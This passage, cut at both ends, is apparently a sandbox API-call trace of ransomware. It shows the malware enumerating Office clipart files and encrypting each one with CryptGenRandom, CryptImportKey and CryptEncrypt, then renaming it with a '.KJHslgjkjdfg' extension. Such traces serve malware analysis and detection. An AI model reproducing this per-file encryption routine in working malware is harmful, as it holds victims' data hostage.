ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5124300, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0193.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.831] GetProcessHeap () returned 0x2ef0000 [0193.831] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.831] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.832] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.832] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.834] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.834] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.834] GetProcessHeap () returned 0x2ef0000 [0193.834] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.834] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.834] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.834] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.834] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.834] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.835] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.835] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.835] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.835] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.835] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x386c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x386c, lpOverlapped=0x0) returned 1 [0193.853] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3870, dwBufLen=0x3870 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3870) returned 1 [0193.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.853] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3870, lpOverlapped=0x0) returned 1 [0193.854] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.854] SetEndOfFile (hFile=0x130) returned 1 [0193.856] GetProcessHeap () returned 0x2ef0000 [0193.856] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.856] GetProcessHeap () returned 0x2ef0000 [0193.856] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.kjhslgjkjdfg")) returned 1 [0193.857] CloseHandle (hObject=0x130) returned 1 [0193.857] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b9eb00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b9eb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0193.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.857] GetProcessHeap () returned 0x2ef0000 [0193.857] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.858] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.858] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.858] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.858] GetProcessHeap () returned 0x2ef0000 [0193.858] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.858] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.858] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.858] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.860] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.860] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.860] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.860] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.860] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.860] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.860] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x600, lpOverlapped=0x0) returned 1 [0193.860] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x600, dwBufLen=0x600 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x600) returned 1 [0193.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.860] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x600, lpOverlapped=0x0) returned 1 [0193.860] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.860] SetEndOfFile (hFile=0x130) returned 1 [0193.863] GetProcessHeap () returned 0x2ef0000 [0193.863] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.863] GetProcessHeap () returned 0x2ef0000 [0193.863] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.863] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.kjhslgjkjdfg")) returned 1 [0193.863] CloseHandle (hObject=0x130) returned 1 [0193.863] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b67a200, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b67a200, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0193.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.864] GetProcessHeap () returned 0x2ef0000 [0193.864] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.864] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.864] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0193.866] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.866] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.866] GetProcessHeap () returned 0x2ef0000 [0193.866] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.866] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.866] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.866] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.867] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.867] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.867] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.867] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.867] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.867] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.867] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.867] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.867] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1264, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1264, lpOverlapped=0x0) returned 1 [0193.868] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1270, dwBufLen=0x1270 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1270) returned 1 [0193.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.868] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1270, lpOverlapped=0x0) returned 1 [0193.868] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.868] SetEndOfFile (hFile=0x130) returned 1 [0193.870] GetProcessHeap () returned 0x2ef0000 [0193.870] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.870] GetProcessHeap () returned 0x2ef0000 [0193.871] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.kjhslgjkjdfg")) returned 1 [0193.871] CloseHandle (hObject=0x130) returned 1 [0193.871] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9e7400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0193.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.873] GetProcessHeap () returned 0x2ef0000 [0193.873] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.873] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.873] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.875] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.875] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.875] GetProcessHeap () returned 0x2ef0000 [0193.875] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.875] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.875] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.875] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.875] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.875] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.875] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.875] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.875] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.876] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.876] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.876] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6c8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6c8, lpOverlapped=0x0) returned 1 [0193.876] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6d0, dwBufLen=0x6d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6d0) returned 1 [0193.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.876] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6d0, lpOverlapped=0x0) returned 1 [0193.876] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.876] SetEndOfFile (hFile=0x130) returned 1 [0193.878] GetProcessHeap () returned 0x2ef0000 [0193.878] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.878] GetProcessHeap () returned 0x2ef0000 [0193.878] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.kjhslgjkjdfg")) returned 1 [0193.879] CloseHandle (hObject=0x130) returned 1 [0193.879] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae0bf00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ae0bf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0193.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.879] GetProcessHeap () returned 0x2ef0000 [0193.879] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.880] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.880] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.880] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 